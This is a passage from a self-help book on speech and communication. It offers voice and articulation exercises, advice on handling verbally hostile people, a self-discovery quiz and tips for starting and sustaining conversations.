mouth.
If you sound nasal, never clench your jaws and never allow your back teeth to touch when you speak. I suggest
that you pretend there is an imaginary dime holding your back teeth open when you speak. This technique will
immediately reduce or completely eliminate your offensive tone.
The following technique is very helpful in getting your jaw and tongue muscles accustomed to opening wider
when you speak.
Open your mouth as wide as you can while making a chewing motion. While chewing with your back teeth
never touching, repeat the following sounds.
• Yah yah yah yah yah
• Yo yo yo yo yo
• Yu yu yu yu yu
• Ye ye ye ye ye
• yoo yoo yoo yoo yoo
The Stuffed-Up Nose
Just as you can sound too nasal, you can also sound too non-nasal, as though your nose is stuffed up. And your
nose may very well be stuffed up, blocking your breathing passages. In this case, it is essential to consult with a
qualified ear, nose, and throat doctor. He can provide you with certain medications or may even perform
surgery to reduce the blockage.
You may also sound this way because you unconsciously close off your own nasal passages. The following
exercises help you eliminate your clogged-up sounds. Repeat each one of the following sounds five times in
succession, so that it sounds like you are saying one word (mamamamama, for instance). Do this with each of
these separate nasal sounds and repeat five times.
Page 101
mamamamama
mo ma mu me
nananananana
no na nu ne
ung ung ung ung ung
lung hung sung rung
Tasting Your Sounds
Too many of us slur our words, mumble, and mispronounce our sounds, such as leaving the “ings” off words
(such as with “coming” or “going”).
As a result, we are often misunderstood or end up making those listening to us feel uncomfortable. The Gallup
Poll verified this: over 63 percent of people found these characteristics annoying.
Kicking Key Consonants
Lisping children may be adorable. But as we discussed in the last chapter, studies have shown that people
perceive adults who lisp their s or r sounds (with the exception of a regional or foreign dialect) as not being
very bright.
Adult lispers are often made fun of. Those who lisp tend to be perceived as weaker and less intelligent than
those who don't lisp. As I have seen throughout the years in my private practice, this can affect one's social and
business standing.
Some lisping is due to ill-fitting crowns, dentures, braces or other dental appliances, missing teeth, spaces
between the teeth, or the position of the jaw. Other causes of lisping are significant underbites or overbites. If
this applies to you, consult an orthodontist immediately.
On the other hand, lisping may be due to poor tongue placement. To make a proper s sound, place the tip of
your tongue against your lower teeth, slightly open your jaw, and push out the hissing air. To make a proper r
sound, curl the tip of your tongue all the way back to the roof of your mouth.
Consonants are produced by the positions of the tongue, lips, teeth, and the back of the throat. The following
exercises will help improve your consonant pronunciation. Repeat them in rapid succession in the order listed
here:

Page 102
• Lips: pa pa pa ba ba ba ma ma ma wa wa wa
• Lower lip against teeth: fa fa fa va va va
• Tongue between teeth: the the the thin thin thin
• Tongue tip against back of upper teeth: ta ta ta na na na da da da la la la
• Tongue tip against back of lower teeth: sa sa sa za za za
• Tongue tip against roof of mouth: cha cha cha sha sha sha ja ja ja ra ra ra
• Tongue tip against back of throat: ka ka ka ga ga ga ung ung ung
Vowel Control.
Vowels are the meat of your speech. They are produced by selectively changing the size and shape of the oral
cavity. Here is a spoken exercise to help you with your vowel pronunciation.
• beet bit bet bat bought but
• boast boot ee ih eh ah aw uh o oo
Demolishing Disgusting Habits
The following sections define additional annoying speech habits and list some possible remedies for the
offender.
Say It—Don't Spray It!
Have you ever talked to someone and felt that you needed a raincoat? He spit and sprayed his saliva all over
you. If you yourself do this, help is on the way. This may be a casualty of not swallowing your saliva on a
consistent basis or having over-active salivary glands. They might also bear down hard on the back portion of
your tongue muscles, which in turn press on the salivary gland, thereby causing your saliva to squirt out. You
might also do this because of ill-fitting dentures, wearing braces, or having new crowns. In any case, relax your
tongue muscles each time you speak. Swallow your excess saliva after you finish speaking, and make yourself
take another breath before you continue speaking.
Swallow Already!
If you are listening intensely to someone, you might forget to swallow, and therefore you will drool. Another
Page 103
casualty of not swallowing is ugly spittle that builds up in the corners of your mouth. Both of these conditions
gross people out, so it is important to be conscious or mindful of swallowing your saliva on a consistent basis.
Swallow whenever you take in a sip of air before you begin speaking. Sipping water on a consistent basis
(especially when your mouth is dry) can often remind you to swallow. Mints are also effective in helping you
to swallow on a regular basis, so don't leave home without them.
Slow Down! It's Not the Grand Prix.
Close to 70 percent of the respondents in the Gallup Poll couldn't stand it when people spoke too fast. Asking
someone to constantly repeat what she said is not fun. You may find people snapping at you because they are
frustrated by not being able to understand what you are saying. To slow down your speech, do the exercises
found in an earlier section, “Marrying Your Breathing with Your Talking.” Another way to slow down is to
draw out your vowel sounds for approximately one second.
Quiet! My Ears Can't Take It!
Speaking too loudly is often a sign of hearing loss. If you find that people are wincing when you speak or
shushing you on a regular basis, you should consider seeing a doctor. The solution may be as simple as having
your ears cleaned out.
Spit It Out Already!
According to my Gallup poll, many people were also annoyed by someone who spoke too slowly. You may do
this while you are thinking, thus ignoring the person you are speaking to. If you have a boring, monotonous
voice, you might tend to exaggerate your vowels. In order to stop this, be mindful each time you speak. As you
sip in air before you begin to speak, think of spending only one second on each vowel. This way, you speed up
and talk at a rate at which people find it pleasurable to listen to you.
It is also important, especially if you are in a situation where you are expected to do some public speaking, to
avoid saying the following words: “like,” “um,” and “uh.” So be mindful of your filler words. Silence is better
than making someone listen to these motor-like sounds. Flowing your sounds together and coordinating your
breathing with your talking (as mentioned earlier) can help.
Spending one second on each vowel, as well as consciously stopping yourself whenever you want to “um” and
“uh,” can also help you to modify this negative behavior. Hearing silence is better than hearing your annoying
sounds.

Page 104
Hints to Help Control Your Stuttering
If you stutter by repeating words or sounds, or have episodes of silence accompanied by facial tics, you often
can't help it. In many cases, certain techniques I describe in this chapter can help you overcome stuttering.
Many of my stuttering clients, including a famed former cornerback of the Oakland Raiders football team, have
made amazing progress using these techniques.
Page 105
Chapter 8
Communication Skill Defense
To win the verbal war, it's not enough to have the proper speaking skills. It is equally important to know how to
annihilate your enemy with your radiant confidence. What you say is just as important as how you say it and
how you feel about yourself when you say it.
When you can be glib and feel comfortable talking with anyone in any situation, you are halfway to winning
the verbal battle against your adversary.
Who in the World Are You?
When you know yourself, you know the world around you and how you fit in. You know what you will and
won't tolerate. You will know who and what is good for you and who or what isn't.
Many insecurities come about because we don't really know ourselves, and as a result we aren't sure about
ourselves. We know more about others than we know about ourselves. You probably can rattle off your mate's
favorite color, food, and turn-ons and turn-offs. If I asked you these same questions about yourself, however,
you probably could not answer as quickly, and would most likely have to stop and think for a while.
Page 106
Why? Because you have never taken the time to really think about your likes and dislikes. Unless you have
spent several years in psychoanalysis, you have not closely examined yourself. You haven't invested much time
into thinking about all of the parts of you that make you who you are. Now it's time for you to learn as much as
you can about the number one person in your life—YOU! It's your chance to become introspective and find out
all you ever wanted to know but didn't think to ask about yourself.
“Who Are You?” Quiz.
In the back of every issue of Vanity Fair magazine is a page on which a celebrity is asked provocative
questions. If you cover up the celebrity's answer and substitute your own, you will be surprised by the things
you can discover about yourself—things that never entered your mind before.
In the following list, you will find a series of questions ranging from easy to some requiring considerable
thought. Answer with the first thing that comes into your mind. Enjoy!
“Who Are You?” Quiz
1. Favorite color ___
2. Favorite type of music ___
3. Favorite type of film ___
4. Favorite animal ______
5. Three adjectives describing it ______
6. Favorite smell _____
7. Favorite food ______
8. I like to drink ______
9. My favorite sport is _____
Page 107
10. My favorite city is _____
11. My favorite books are _____
12. I usually read ______
13. My favorite TV show is ___
14. My favorite actor is _____
15. My favorite actress is ___
16. Favorite season ___
17. Favorite time of the day ___
18. If there was a disaster I would grab ___
19. Favorite male ___
20. Favorite female ______
21. Three things I love to do ______
22. The happiest time of my life ________
23. The worst time of my life ________
24. Three things I would like on a desert island _____
25. Three people I would like on a desert island ________
26. The woman I admire the most ________
27. The man I admire the most ________
28. Three women I admire ________
29. Why ________
30. Three men I admire ________
31. Why ________
32. When I was a child I admired _____
33. Who is my mother ________
34. Who is my father ________
35. People who make me miserable ___
36. Why ________
37. When I was younger _____
38. When I get older ________
39. When I get angry, I ________
40. What upsets me the most is _____
41. I regret ________
42. I never regret ________
Page 108
43. I am so happy I ________
44. Beautiful women make me feel _____
45. Powerful men make me feel ______
46. Powerful women make me feel ______
47. Handsome men make me feel ________
48. What makes me cry is _____
49. What makes me laugh is _____
50. My biggest fantasy would be ________
51. Whenever I'm nervous, I _____
52. When I look in the mirror I ________
53. The three qualities I look for in a friend are _____
54. The three traits that turn me off in people are _____
55. I could vomit if _____
56. When I get angry, I _____
57. When I get nervous, I _____
58. A perfect mate would ________
59. A perfect life would be ________
60. My three best traits are _____
61. My three worst traits are ________
62. I love _____
63. I hate ________
64. My childhood was _____
65. As an adult I ________
66. I'd never change ________
67. I'd love to change ________
68. I see myself as ________
69. Others see me as ________
70. Next week I want to ________
71. Next month I want to ________
72. Next year I want to ________
73. In the next 5 years, I want to _____
74. If I were President, I would _____
75. If I had three wishes, they would be _____
Page 109
The Results of Who You Are
There are no right or wrong answers. Your responses merely make up a profile of who you are. How many
questions did you have to ponder before you could answer them? How many questions were easy to answer?
Examining your answers gives you an even greater opportunity to look inside yourself and even make changes
in how you see yourself and live your life. This survey is also excellent to do several times a year, so that you
can chart your personal development.
It might also be a good idea to have loved ones fill out the same questionnaire; then you all can share your
results. This can bond you closer to the ones you love.
Keys to Gaining the Upper Hand
First and foremost, you need to have a winning attitude and winning ways to communicate with your opponent
if you are going to be successful on the verbal battlefield. You have to like and respect yourself enough that the
verbal bullets will have a difficult time penetrating your psyche.
You Gotta Like You!
It's not enough to know yourself. You must like yourself as well. If you like and respect you, others usually
follow suit. They wouldn't dream of treating you any way you wouldn't treat yourself.
When you like you, you don't let people walk over you, abuse you, or say horrible things to you. You know
how you fit into the world. You come from a position of self-respect and in turn demand that respect from
others. If you are being treated poorly and consistently spoken to in an abusive manner in your relationship,
you are treating yourself poorly by staying in that relationship. The first step to changing this situation is to like
yourself enough to get out! Get out immediately! The book Toxic People—10 Ways of Dealing with People
Who Make Your Life Miserable, which can be purchased using a form in the back of this book, gives you all
the steps you need to unplug from this extremely toxic situation.
Don't Like Something About Yourself? Change It!
If you happen to dislike something about yourself, with all the choices available to you these days, you can
definitely improve or change it. You might protest, “this is the body or face I was given, so why change it?” In
a sense, of course, you are

Page 110
absolutely right! Why change what was given to you naturally? On the other hand, if you're self-conscious
about some aspect of yourself such as your nose or body, improving it can change your entire outlook about
yourself.
Psychotherapists exist to help you improve your personality, while plastic surgeons, skin specialists, speech
and voice coaches, hairdressers, dentists, orthodontists, clothing and makeup consultants, and weight-loss
specialists can help you become the best you can be. There are no more excuses! You can be all that you want
to be—if you want to be all that you are!
When you really like yourself, are willing to accept everything about yourself, and are working to improve the
things you don't like, you become more secure within yourself. As a result you become more powerful. Your
power and radiance can be blinding to your verbal adversaries, who might just back off.
Talk Nice to You and Others Will Too
Never be a verbal abuser to the person you need to care for the most—YOU! When you say negative things to
yourself, you are unconsciously chipping away at your self-worth, which obviously diminishes your selfesteem.
You might think that you are being humble by cutting yourself down or being self-deprecating, but you
are not.
Instead you are exhibiting a weakness—a “one-downsmanship” that your verbally hostile opponent can latch
onto. In essence, you are giving your opponent more verbal ammunition to use against you. It may feel okay or
painless when you make a cutting remark about yourself. When that cutting remark comes out of the mouths of
other people, however, suddenly there is a painful sting to their zing! They might even add more verbal poison
to the cutting remarks you already made about yourself. They may embellish what you said, thereby making
their cut even deeper and more excruciating by hitting one of your most vulnerable emotional spots. Imagine.
The moral of this lesson is this: Don't add to the arsenal of your verbal enemy—don't say bad things to
yourself.
Cancel That!
What happens if you forget and end up saying something bad about yourself because you haven't yet gotten
into the habit of being nice to yourself? This is expected. What you need to do in this case is to say the words,
“Cancel that remark!” Say it out loud. Eventually your negative remarks will become fewer and fewer because
you will be more verbally conscious of what you are saying to yourself.
Page 111
The Power of the Word—What a Surprise!
Whether you believe in metaphysics or precognitions, in my personal research of tragic stories, I've observed
that when people utter negative expectations, these usually come to pass. This is called the “self-fulfilling
prophecy.” If you don't think that you can do something, chances are that you can't or that you won't do it well.
Even if you are feeling a little insecure because you have never done something before, keep telling yourself
that you can do it: you'll be surprised at what happens. Many successful athletes and Olympic winners with
whom I've worked use this technique. So did the little train in the ever-popular children's story. The little train
“thought he could,” and by golly, he did get up that steep railroad track!
Thoughts in Your Head
You are what you think! It doesn't matter what others think. It only matters what you think about you. It's as
simple as the fact that if you think good thoughts, more good will happen to you, while if you think bad
thoughts, more bad will come to you. If you really believe you can do something, most likely you will do it.
If you really want to work to replace the ideas that you are a failure in life and that you are limited in how far
you can go, try meditation and affirmation tapes by Guru Ji Pillai, Ph.D. The tapes teach you how to think
“vertically”—to think about infinite possibilities in your life. This is in contrast to horizontal thinking—going
along with the status quo and being stuck in a rut. Guru Ji says that only by expanding your thoughts and your
awareness can you manifest your goals and life dreams. His philosophies and concepts are so effective that
popular author Dr. Wayne Dyer has incorporated Guru Ji's unique technique in his best-selling book Manifest
Your Destiny.
Open Your Mind!
To gain the winning advantage over your verbally vicious opponent, you need to deflate all prejudices or
preconceived notions you have about him or her. Begin each interaction with a fresh new outlook.
This might seem a Herculean task, and indeed it does require a lot of practice and inner harmony to
accomplish. I'm not telling you to forget about how awful they can be. I am not telling you not to be on guard.
What I am telling you is to follow the same approach used by martial artists. When they face their opponents,
they show no fear or anger towards their opponents and clear their minds of any previous feelings toward them.
A closed mind begets closed life. An open mind, on the other hand, results in an open and exciting life filled
with the excited anticipation of what is going to happen next. An open, non-prejudiced mind allows you to deal
with any situation or person that may come your way because you are free of preconceived notions. You are
ready for any surprise!
Page 112
Open Your Heart!
When we are angry or upset, our body, especially our hearts, react much differently than when we have good
and positive feelings about a person.
Here is a technique that can help you open your heart, even toward a verbal adversary. Try to imagine that
person as a sweet and innocent baby. Try to find one good point about him and focus on that thought. If you
can't find at least one good thing about him, you haven't looked hard enough.
Opening up your heart towards the adversary may often result in diffusing his hostility and anger. Don't
hesitate to make the first move—whether you smile at him, put out your hand for a friendly handshake, or
make a kind remark. If the situation is befitting, you can even offer a short and warm “hello” kiss. You'll get a
lot of satisfaction from taking him off-guard.
Your loving and heartfelt gestures often diffuse others' anger and hostility towards you. So don't be surprised if
you see a 180-degree turn in their behavior. Watch them metamorphose from mean to nice in less than 10
seconds.
Congratulations, you have just won the first battle in the verbal war!
Tactics Used to Promote Verbal Peace with Others
So much of verbal warfare is brought about by miscommunication and by misconceptions of what was said,
and by misinterpretations of words and perceived rudeness from the other party. The rest of this chapter is
devoted to ways you can avoid potential verbal attacks.
Speak Up Immediately!
No festering allowed! No shoving what they said, and your emotional reactions to it, under the table! No more
keeping things in. Speak out immediately. The best phrase for you to use when you are miffed by what
someone had just said is, “Excuse me, what did you mean by that? Explain what you mean.”
If you heard right the first time, and they said what you thought they said, take immediate issue. What happens
when it's 2 A.M., and your thinking about a perceived negative comment keeps you up? Call the person first
thing in the morning when she gets into work, and deal with it then. Otherwise, if it's a reasonable time in the
day, call her as soon as the comment starts to bother you.
Page 113
Monitor Your Mouth
Just as it is essential to know when to speak up, it is equally important to know when to keep quiet. You can do
this by observing your opponents clearly, as was discussed throughout Chapter 1.
If you stop, look at them, and really listen and empathize with them, you will be surprised at how much less
frequently you will say the wrong thing. You will become more conscious of your words.
If you stop and suck in air for a moment before you speak, you will never make a faux pas. Mistakes like these
are usually made when you are not thinking about whom you are speaking to and what you intend to say.
Pay Attention to Trigger Words and Phrases.
Sometimes, things are going along fine, and then all of a sudden you hear a word or a phrase that sets you off,
starting a full-scale war. These words and phrases can cause long-buried negative emotions to resurface.
The following list gives some phrases you should never use. They are destined to trigger a negative response
and put someone on the defensive. When a sentence or conversation begins with any of these phrases, the
person has automatically tuned you out, is ready to attack, or is ready to verbally defend himself.
1. You should have ___
2. You never ___
3. Why don't you ever ___
4. Why didn't you ___
5. You'd better ___
6. I don't believe you.
7. That's not true.
8. Don't you ever ___
9. How could you ever ___
10. You make me ___
Instead, you might want to substitute the phrases listed here with the following phrases, which are destined to
get the person to hear you and perhaps do what you want them to do:
1. Perhaps you could ___
2. I'd appreciate it if you would ___
3. It would be in your best interest if you would ___
4. Have you looked at it from this point of view?
Page 114
5. I don't mean to contradict you, but have you also considered ___?
6. Perhaps we could both ___
7. May I suggest ___?
8. I would prefer _____
9. It hurts my feelings when you don't ___
10. Do you think it would be a good idea if ___?
11. I would never criticize you, but don't you think that perhaps__?
Terms of Endearment
A verbal pat on the back is only a few vertebrae away from a verbal kick in the pants. When you want to
maintain good relationships with people who you like, always incorporate terms of endearment. “Please,”
“would you mind,” “I like [or “love,” if appropriate] it when you __” are musts, no matter how familiar you are
with the person.
“Honey,” “sweetie,” “baby,” “dear,” “love,” and “darling” are great terms to use when you have just been in
verbal battle with a loved one. These terms often reassure the person that no matter how angry you both got at
one another, you still feel tremendous affection towards her. On the other hand, the consequences of speaking
these words to the wrong person in the wrong context can be disastrous. They can land you in front of a judge
in a sexual harassment suit or get you fired, not to mention generating a lot of unnecessary hard feelings.
Southerners and older people who see nothing wrong with calling someone they like “darlin” have to be extra
careful, since their use of terms of endearment are a way of life.
The moral of this story is to be always mindful of whom you are going to verbally endear.
Let Them Speak Their Piece
If you really want to aggravate people, just keep interrupting them when they are trying to make a point. As I
explained earlier in the book, people who interrupt are considered to be extremely annoying as well as toxic.
To curb your tendency to interrupt someone constantly, do the following:
1. Take the tip of your tongue and stick it between your two front teeth.

Page 115
2. Bite down hard on your tongue (not so hard that you bite off your tongue or make it bleed).
3. Stick your tongue back in your mouth.
The stinging and lasting pain you experience from having bitten your tongue will serve as reminder to keep
your tongue in your mouth and let the other person speak.
Enough About You Already!
Constant talking about yourself angers people who are forced to listen to you. They might react by becoming
short-tempered with you or by making fun of you. You might, however, be so self-consumed that you won't
hear them anyway, or don't care even if you do care. Eventually, in addition to avoiding talking to you, they
will use you as the brunt of jokes with their friends. The bottom line is, share the stage! Don't hog the
conversation!
You will learn more about the art of having a great conversation in Chapter 9.
Mind Your Own Business!
Don't impose; don't get too detailed. Read their body, face, and verbal cues. Don't ignorantly and unconsciously
keep asking questions. Let them volunteer. Don't invade their privacy or personal space. If you pay close
enough attention, you'll know when you have done so. If you have, back off immediately!
Don't offer advice unless you are asked. This is a sure-fire way to alienate people, especially if they don't like
your advice. You will feel bad that they didn't heed it. And they in turn will feel bad that you are judging them,
when in reality you were only trying to help them.
Minding your own business means keeping confidences. Even though we all love the dirt, it's ugly when
someone tells you something that is her personal business. Therefore, mind your own business and not
everyone else's, even though you may know more than you need to know.
Respect Should Be Your Mantra
We throw the word “respect” around like a Frisbee, but nobody pays much attention to what it really means.
When you respect, you appreciate, cherish, honor, and admire.
Page 116
In essence, you look up to the person. That doesn't mean that you look down at yourself and hold him in higher
esteem. Instead, it means that you honor who he is. With “respect” comes the complete consciousness and
awareness of the other person. You need to always be aware of his time. That means when he says he has to go,
let him go. Don't keep him.
When people say they're going to accomplish something no matter how large or small the project is, respect
them enough to assume that they will accomplish what they said they would accomplish. Don't give any
reasons why it can't be done. Don't even think about negating or diluting what they said.
Don't Like the Answer? Then Don't Ask the Question.
Too many people bait you by trying to get you to commit to an answer or get your opinion even though you
may be reluctant to give it. Then, if they don't like what they hear, they will take it out on you or on
themselves. Often they can never forgive you. In order to avoid giving them an answer they may not want to
hear and to circumvent the dilemma of being damned if you speak and damned if you don't speak, be
diplomatic. If you sense that they will hold a grudge against you for life, think carefully about answering them.
It may seem like the cowardly thing to do, but it is your judgment call. Trust your instincts. Another tactic is to
change the subject or excuse yourself from the room for a moment (go to the bathroom, for instance). This
might buy enough time that they will forget and go on to another topic. If they persist, tell them that you feel
uncomfortable and don't want them to hate you if they don't like the answer they are about to hear.
If you are the recipient of the news, take full responsibility for asking the question, and most importantly,
“don't kill the messenger.”
Page 117
Chapter 9
Confident Conversation
The Real Secret of Talking to Anyone
You can read a million self-help books on how to have a great conversation. In fact, I know of about five books
on the market with similar titles about how to speak to anyone about anything. Television interviewer Barbara
Walters released one of these books in the '70s; more recently, talk-show host Larry King had one published.
You can sum up this entire topic up in just four words: Be interested—not interesting!
Listen and ask sincere questions, and you'll be surprised at how many successful business liaisons you will
develop and how many friends you will make. No matter how you deny it, everyone—you, me, and everyone
else in the world—loves to talk about their favorite and most interesting topic—themselves! When you
stimulate that topic, they like it, and in turn they like you!
Page 118
Understanding the Four Steps of Confident Conversation
Now that you have the tools for a great verbal mechanism, you have to put them to use. What better way than
to have a conversation with others?
In this section, you learn about the four basic steps to holding a confident conversation.
First, you will learn about pre-conversation, what to do before you even approach someone and initiate a
conversation with them. The second step is initiating the conversation. This involves the key questions to ask
once you have approached someone and subjects to avoid. You will also learn how to maintain the
conversation once it has begun, and finally, the key to exiting a conversation with confidence.
When you are done reading this section, you'll have all the tools necessary to be confident enough to talk to
anyone, any time, and under any circumstances.
Confident Pre-Conversation.
Whether you realize it or not, your conversation begins well before you have even opened your mouth. Those
with a lot of experience dealing with people—such as a salesperson or a social butterfly—find it second nature
to meet and greet people. But most people feel uncomfortable going up to a stranger and talking to them. The
thought of doing it leaves most people either paralyzed or with a sick feeling in the pit of their stomach. So, if
you can relate to this, rest assured you are not alone. Everyone gets rejected and feels bad, so join the club.
Only this time, you have pre-conversation tools to help you gear up for the gut-shaking event about to take
place. Before you begin, you have to visualize something good happening with the prey that you have picked
out to experiment on.
Ending the “I Think That You Think That I Think” Game Forever!
For the most part, who cares what people think about you? Even if they don't like you, before even meeting
you, they won't have laser beams coming out of their eyes to burn you. Usually, what a stranger thinks about
you is irrelevant and none of your business. As long as you like you and feel secure with yourself, that's what
counts.
So stop making yourself nuts playing the “I think, you think, I think” game. The truth is that they aren't even
thinking about you or anything else. They may have a sourpuss expression on their faces because they are
hungry or their tummy hurts.
Page 119
If your mind starts to play the “I think, they think” game, stop yourself immediately using the “cancel that
thought” technique. Only instead of doing this technique by speaking out loud, think it silently to yourself.
Smile All the While
Stop! Look and smile, and keep looking and smiling! That is the best way to meet someone you are attracted
to. If someone looks at you, smile back out of respect. If you are not interested, make it a short, curt smile and
then look away. This shows that you have politely acknowledged him or her. If you are attracted to the person,
no matter who looked at whom first, simply smile a little longer and say hello. If they return your hello, you
have a golden opportunity to start talking and to make a new friend. I have met so many people this way,
especially in airports, and many of them have turned out to be some of my closest and dearest friends.
Granted, at first it may be very uncomfortable for you to make this behavior part of your life. But with practice
it will become a habit, and a pleasant one at that.
Do It Anyway!
Come on—just smile! Even though you don't feel like it, do it anyway! Nine times out of ten, the other person
will smile back.
If you're having trouble kick-starting your smile, simply visualize yourself smiling at them and them returning
the smile, accepting you, returning your

Page 120
compliments, and engaging you in conversation. Visualize yourself having them as a potential client, employer,
employee, friend, lover, or even mate.
Now visualize the reverse. See the situation being a disaster, with them paying no attention to you, giving you
dirty looks, and walking away from you. Did you die? No, you survived, with all your parts intact. So what's
stopping you? What's the worst that can happen? Let's say that the person rejects you. There is nothing bad that
can happen, not even bruised ego, because this is also an exercise in seeing reality—the reality that not
everyone will be attracted to you nor will you be attracted to them.
After your positive and negative visualizations, enter the situation with a clean slate, erasing from your mind
every pre-conceived notion about the person and about yourself. Remember to do the Relaxation Breathing
Technique before you make your move. Now go for it! Do it! Smile!
You Die When You're Shy!
You both connect with one another, you've returned glances and smiles, but what to do you next? You're
paralyzed with fear. You rationalize that you are feeling this way only because you are “a shy person.” Well, if
that's what you want to believe about yourself, you may as well crawl into a hole and live there.
Life is to be lived. Opportunities are to be taken and people are to be met. If you have ever felt like kicking
yourself, even years later, for not making that first move and saying something, you are not alone.
To make sure this situation never happens again, re-label yourself and remove the word “shyness” from your
vocabulary. You have nothing to be shy (insecure) about anymore.
Of course, you have to have something to say, and in the rest of this chapter you'll learn what to say to break
the ice.
Only a Fool Plays It Cool!
There are those who think they are being cool by acting aloof. Even if they are chomping at the bit or drooling
at the mouth and would give almost anything just to meet the person across the room, they don't. It's not
because they are shy and intimidated, it is because they are trying to act “cool.”
This coolness takes the form of not looking at people or returning their glance or smile. It's looking down or
pretending to be very animated in conversation with someone else. It's designed to let someone know that you
are cool—a catch—albeit difficult to catch. Acting cool is quite common among young people in their teens
and twenties, but it often continues into adulthood. It's a power game that establishes who's going to be in
control. Just remember, the people who play this game ultimately lose.
Page 121
The cool people may lose an opportunity to enhance their professional lives. The person they have snubbed
may have been an important conduit towards success in their career.
Initiating a Confident Conversation.
Coolness aside, here are some things not to do when initiating a conversation. Otherwise your conversation will
end before it begins.
• Don't tell lame jokes or a joke where there is a 50 percent chance people won't like it.
• Don't excessively fawn over the person.
• Don't make sarcastic comments or cutting remarks in an attempt to appear cute. There's nothing cute about
being obnoxious.
• Don't lie to give someone a compliment, and don't use a standard line they've probably heard a thousand
times before.
Instead, here are some icebreakers guaranteed to help you initiate conversation.
• Give people a sincere compliment without fawning over them.
• Bring up a current news event (the juicier the better!).
• Speak positively about people whom you both may know.
• Tell people you observed them and thought that they
a. Resemble a friend, relative, or famous person.
b. Look like they are from ____ (This can be whatever you decide. Just don't say Mars or make a lame
comment.)
c. Work out or are in good shape. Ask if they are athletic.
Maintaining a Confident Conversation
So many people become mute after they say “hello.” They have succeeded in getting the person to
acknowledge them and to make that first contact. Now they freeze, go blank, and stand there like a deer in
headlights, not knowing what to do or say and mumbling about something stupid.
If this scenario sounds all too familiar and you've been there/done that, help is on the way!
The reason you acted like a vegetable is that you began to focus on yourself instead of paying attention to the
other person. You were more concerned about things working out right and about being interesting, witty, and
clever than you were about what the other person was all about. In essence, you were not interested. You may
try to contradict me here by saying “of course I am interested, or I wouldn't have approached them
Page 122
in the first place.” True, you were interested, but you were interested in you making a good impression. If you
shifted your attention away from yourself, you would never have felt so awkward and out of place.
Ask, Ask, and Keep Asking!
The first rule is to ask questions, but not invasive ones. What I am actually saying is to think before you speak
so that you don't put your foot in your mouth and embarrass or insult everyone, including yourself. Instead, try
to find some common ground as you continue to ask questions and relate to the person.
Elaborate—Don't Interrogate!
In the Elaboration Technique, you ask the person who, what, when, where, and why—questions. Use
techniques developed by journalists. Remember to ask your question and then elaborate on the person's answer
by asking another question related to their last answer.
This is a wonderful technique that helps you uncover things you both might share in common. If their answers
are curt, if they seem annoyed, bored, or disinterested, ask another question, or cut the conversation short, it's a
hint that they may no longer wish to speak with you. So leave!
Remember to maintain eye-to-eye contact at all times. It gives you a better opportunity to observe a person and
react to what you see. In doing so, you will make the person feel important and make yourself aware of their
facial and body cues. These invaluable messages will also let you know, in a non-verbal way, that they wish
you'd leave, or that they couldn't bear it if you left. The example in the “Talk Back!” section on the next page
clearly illustrates how a compliment about a dress initiates the topic of travel, which results in the two people
realizing they have something in common, which is further elaborated on to find another commonalty, and so
on and so on.
Studies have shown that the more you have in common with someone, the more likely you are to begin a
relationship. Thus, the Elaboration Technique is just the tool you need to discover potential friends.
Page 123
Talk Back!
Hillary: I like your pretty dress. It's so colorful.
Adrienne: Why, thank you.
Hillary: Did you buy it locally?
Adrienne: No, I got it on my trip to Italy in Capri.
Hillary: This is unbelievable! I just came back from Capri last week. My
husband and I were there to see his family; they have a jewelry business and one
of the largest jewelry shops on the island.
Adrienne: Really? Which one?
Hillary: It's the one in the center of town across from the plaza.
Adrienne: I know the place! I was there! Look, I got this bracelet there.
Hillary: What a coincidence! I can't believe it! Why were you in Capri?
Adrienne: I was there on my honeymoon!
Hillary: So was I!
Here are some extremely important tips for maintaining a conversation:
• Be interested, not interesting.
• Be mindful of your own body and facial language so that you don't invade the person's space.
• Cultivate a wide range of conversational topics that you acquire through the media.
• Have a sense of humor, but don't be a jokester or obnoxious.
• Don't interrupt!
• Be enthusiastic, but not so overly animated so that you come across as phony.
Getting Deeper and Deeper.
Let's say the conversation is going quite well. You discover more and more about one another. You're learning
about your similarities as well as your differences. If you understand the person and can relate when you talk
about specific topics or philosophies, there is a greater chance that this person will feel more favorably towards
you—even become part of your life. If you enjoy the same topics and can speak each other's language (and that
doesn't just mean standard English!), you're both doing well.
What Shall We Talk About?
Topics of conversation come in three categories, from the more basic and superficial to the deepest. Studies
have shown that the deeper the level of conversation and the
Page 124
more numerous the similarities, the deeper the bond will become. Following is a list of the three categories,
from most shallow to deepest, and the topics within each one.
Category 1—Basic Needs
• Food (restaurants, preparation, recipes, favorite meals)
• Travel (vacations, where you're going to go, where you went, likes and dislikes, what you saw and bought
and ate)
• Clothing (styles, shopping, bargains, where to go, accessories)
• Shelter (homes, location, areas, decoration, values, real estate)
• Safety (weather, protection, crime prevention, natural and unnatural disasters, dangerous areas)
Category 2—Relationships
• People/family/interpersonal relationships
• Good, bad, and former relationships
• Dating
• People in the news, celebrities, and other high-profile people
• People you have in common (both those you like and dislike)
• Employers, employees, and co-workers
• Other interesting people you have met
• Foreigners, people you have met in your travels, and people from different cultures
• New information about specific people
• People you admire, people who revolt you (for example, odious newsmakers)
Category 3—Interests, Achievements, and Opinions
• Travel (culture, history)
• Past history of nations
• Political situations in countries
• Attitudes and opinion towards specific news events
• Value system
• Job challenges, career development, past career achievements
• Achievements, failures
• Arts and entertainment opinions and information (film, plays, music)
• Politics and religion (preferably if they are in common with yours)
• Health issues, fitness strategies
• Relationship philosophies and personal application
Page 125
Know What You're Talking About!
“A little knowledge is a dangerous thing,” so make sure you know quite a bit about a subject before you spout
off. If you're giving someone information, make sure it's the right information. Otherwise keep quiet! There is
nothing more annoying than a “know-it-all” who knows nothing.
If you're unfamiliar with a topic, don't be afraid to say so and ask questions of people.
If they are impatient with you or act as thought they think you are stupid for asking, let them know in no
uncertain terms that they are out of line. Their intolerance certainly tells you a lot about how toxic they are. So
watch out for them! Their actions may have revealed that they are a person from whom you need to keep your
distance.
Bingo! You Got the Lingo!
There is perhaps nothing more embarrassing than trying to relate to someone while using the wrong words or
lingo in the wrong context. People will laugh at you, think you are not hip, or think you're trying too hard to
relate.
So what are you supposed to do if you don't know what a word means? Don't be embarrassed. If you don't
know, ask “what do you mean by ___?” This way, you add a new word to your vocabulary.
If you can speak a person's language, you usually have that person on your team, because you can identify with
one another and know what the other is really trying to communicate. When I first started doing talk shows I
didn't always understand the language that was spoken. However, as time went on, I have learned how to both
speak and understand some of today's hippest words. I have learned how to talk “street.”
Chillin' does not mean sticking something in the refrigerator. It means to relax or hang out. Fly doesn't mean
